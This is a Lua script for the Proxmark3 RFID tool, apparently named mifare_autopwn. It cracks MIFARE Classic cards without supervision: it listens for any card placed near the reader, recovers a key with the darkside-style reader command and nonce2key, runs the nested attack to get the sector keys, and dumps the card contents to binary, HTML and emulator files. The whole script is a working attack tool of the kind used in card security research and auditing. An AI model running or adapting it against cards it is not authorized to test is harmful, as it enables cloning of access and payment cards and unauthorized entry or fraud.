| 1 | local getopt = require('getopt') |
| 2 | local reader = require('read14a') |
| 3 | local cmds = require('commands') |
| 4 | |
| 5 | example = "script run mifare_autopwn" |
| 6 | author = "Martin Holst Swende" |
| 7 | |
| 8 | |
| 9 | desc = |
| 10 | [[ |
| 11 | This is a which automates cracking and dumping mifare classic cards. It sets itself into |
| 12 | 'listening'-mode, after which it cracks and dumps any mifare classic card that you |
| 13 | place by the device. |
| 14 | |
| 15 | Arguments: |
| 16 | -d debug logging on |
| 17 | -h this help |
| 18 | |
| 19 | Output files from this operation: |
| 20 | <uid>.eml - emulator file |
| 21 | <uid>.html - html file containing card data |
| 22 | dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes. |
| 23 | dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it. |
| 24 | |
| 25 | ]] |
| 26 | |
| 27 | ------------------------------- |
| 28 | -- Some utilities |
| 29 | ------------------------------- |
| 30 | local DEBUG = false |
| 31 | --- |
| 32 | -- A debug printout-function |
| 33 | function dbg(args) |
| 34 | if DEBUG then |
| 35 | print(":: ", args) |
| 36 | end |
| 37 | end |
| 38 | --- |
| 39 | -- This is only meant to be used when errors occur |
| 40 | function oops(err) |
| 41 | print("ERROR: ",err) |
| 42 | return nil,err |
| 43 | end |
| 44 | |
| 45 | --- |
| 46 | -- Usage help |
| 47 | function help() |
| 48 | print(desc) |
| 49 | print("Example usage") |
| 50 | print(example) |
| 51 | end |
| 52 | |
| 53 | --- |
| 54 | -- Waits for a mifare card to be placed within the vicinity of the reader. |
| 55 | -- @return if successfull: an table containing card info |
| 56 | -- @return if unsuccessfull : nil, error |
| 57 | function wait_for_mifare() |
| 58 | while not core.ukbhit() do |
| 59 | res, err = reader.read1443a() |
| 60 | if res then return res end |
| 61 | -- err means that there was no response from card |
| 62 | end |
| 63 | return nil, "Aborted by user" |
| 64 | end |
| 65 | |
| 66 | function mfcrack() |
| 67 | core.clearCommandBuffer() |
| 68 | -- Build the mifare-command |
| 69 | local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1} |
| 70 | |
| 71 | local retry = true |
| 72 | while retry do |
| 73 | core.SendCommand(cmd:getBytes()) |
| 74 | local key, errormessage = mfcrack_inner() |
| 75 | -- Success? |
| 76 | if key then return key end |
| 77 | -- Failure? |
| 78 | if errormessage then return nil, errormessage end |
| 79 | -- Try again..set arg1 to 0 this time. |
| 80 | |
| 81 | cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0} |
| 82 | end |
| 83 | return nil, "Aborted by user" |
| 84 | end |
| 85 | |
| 86 | |
| 87 | function mfcrack_inner() |
| 88 | while not core.ukbhit() do |
| 89 | local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000) |
| 90 | if result then |
| 91 | -- Unpacking the three arg-parameters |
| 92 | local count,cmd,isOK = bin.unpack('LL',result) |
| 93 | |
| 94 | if isOK ~= 1 then return nil, "Error occurred" end |
| 95 | |
| 96 | |
| 97 | -- The data-part is left |
| 98 | -- Starts 32 bytes in, at byte 33 |
| 99 | local data = result:sub(33) |
| 100 | |
| 101 | -- A little helper |
| 102 | local get = function(num) |
| 103 | local x = data:sub(1,num) |
| 104 | data = data:sub(num+1) |
| 105 | return x |
| 106 | end |
| 107 | |
| 108 | local uid,nt,pl = get(4),get(4),get(8) |
| 109 | local ks,nr = get(8),get(4) |
| 110 | |
| 111 | local status, key = core.nonce2key(uid,nt, nr, pl,ks) |
| 112 | if not status then return status,key end |
| 113 | |
| 114 | if status > 0 then |
| 115 | print("Key not found (lfsr_common_prefix problem)") |
| 116 | -- try again |
| 117 | return nil,nil |
| 118 | else |
| 119 | return key |
| 120 | end |
| 121 | end |
| 122 | end |
| 123 | return nil, "Aborted by user" |
| 124 | end |
| 125 | |
| 126 | function nested(key,sak) |
| 127 | local typ = 1 |
| 128 | if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k |
| 129 | typ = 4 |
| 130 | elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k |
| 131 | typ= 1 |
| 132 | elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k |
| 133 | typ = 0 |
| 134 | elseif 0x10 == sak then-- "NXP MIFARE Plus 2k" |
| 135 | typ = 2 |
| 136 | elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K" |
| 137 | typ = 1 |
| 138 | else |
| 139 | print("I don't know how many sectors there are on this type of card, defaulting to 16") |
| 140 | end |
| 141 | local cmd = string.format("hf mf nested %d 0 A %s d",typ,key) |
| 142 | core.console(cmd) |
| 143 | end |
| 144 | |
| 145 | function dump(uid) |
| 146 | core.console("hf mf dump") |
| 147 | -- Save the global args, those are *our* arguments |
| 148 | local myargs = args |
| 149 | -- Set the arguments for htmldump script |
| 150 | args =("-o %s.html"):format(uid) |
| 151 | -- call it |
| 152 | require('../scripts/htmldump') |
| 153 | |
| 154 | args ="" |
| 155 | -- dump to emulator |
| 156 | require('../scripts/dumptoemul') |
| 157 | -- Set back args. Not that it's used, just for the karma... |
| 158 | args = myargs |
| 159 | end |
| 160 | |
| 161 | --- |
| 162 | -- The main entry point |
| 163 | function main(args) |
| 164 | |
| 165 | |
| 166 | local verbose, exit,res,uid,err,_,sak |
| 167 | local seen_uids = {} |
| 168 | |
| 169 | -- Read the parameters |
| 170 | for o, a in getopt.getopt(args, 'hd') do |
| 171 | if o == "h" then help() return end |
| 172 | if o == "d" then DEBUG = true end |
| 173 | end |
| 174 | |
| 175 | while not exit do |
| 176 | res, err = wait_for_mifare() |
| 177 | if err then return oops(err) end |
| 178 | -- Seen already? |
| 179 | uid = res.uid |
| 180 | sak = res.sak |
| 181 | if not seen_uids[uid] then |
| 182 | -- Store it |
| 183 | seen_uids[uid] = uid |
| 184 | print("Card found, commencing crack", uid) |
| 185 | -- Crack it |
| 186 | local key, cnt |
| 187 | res,err = mfcrack() |
| 188 | if not res then return oops(err) end |
| 189 | -- The key is actually 8 bytes, so a |
| 190 | -- 6-byte key is sent as 00XXXXXX |
| 191 | -- This means we unpack it as first |
| 192 | -- two bytes, then six bytes actual key data |
| 193 | -- We can discard first and second return values |
| 194 | _,_,key = bin.unpack("H2H6",res) |
| 195 | print("Key ", key) |
| 196 | |
| 197 | -- Use nested attack |
| 198 | nested(key,sak) |
| 199 | -- Dump info |
| 200 | dump(uid) |
| 201 | end |
| 202 | end |
| 203 | end |
| 204 | |
| 205 | -- Call the main |
| 206 | main(args) |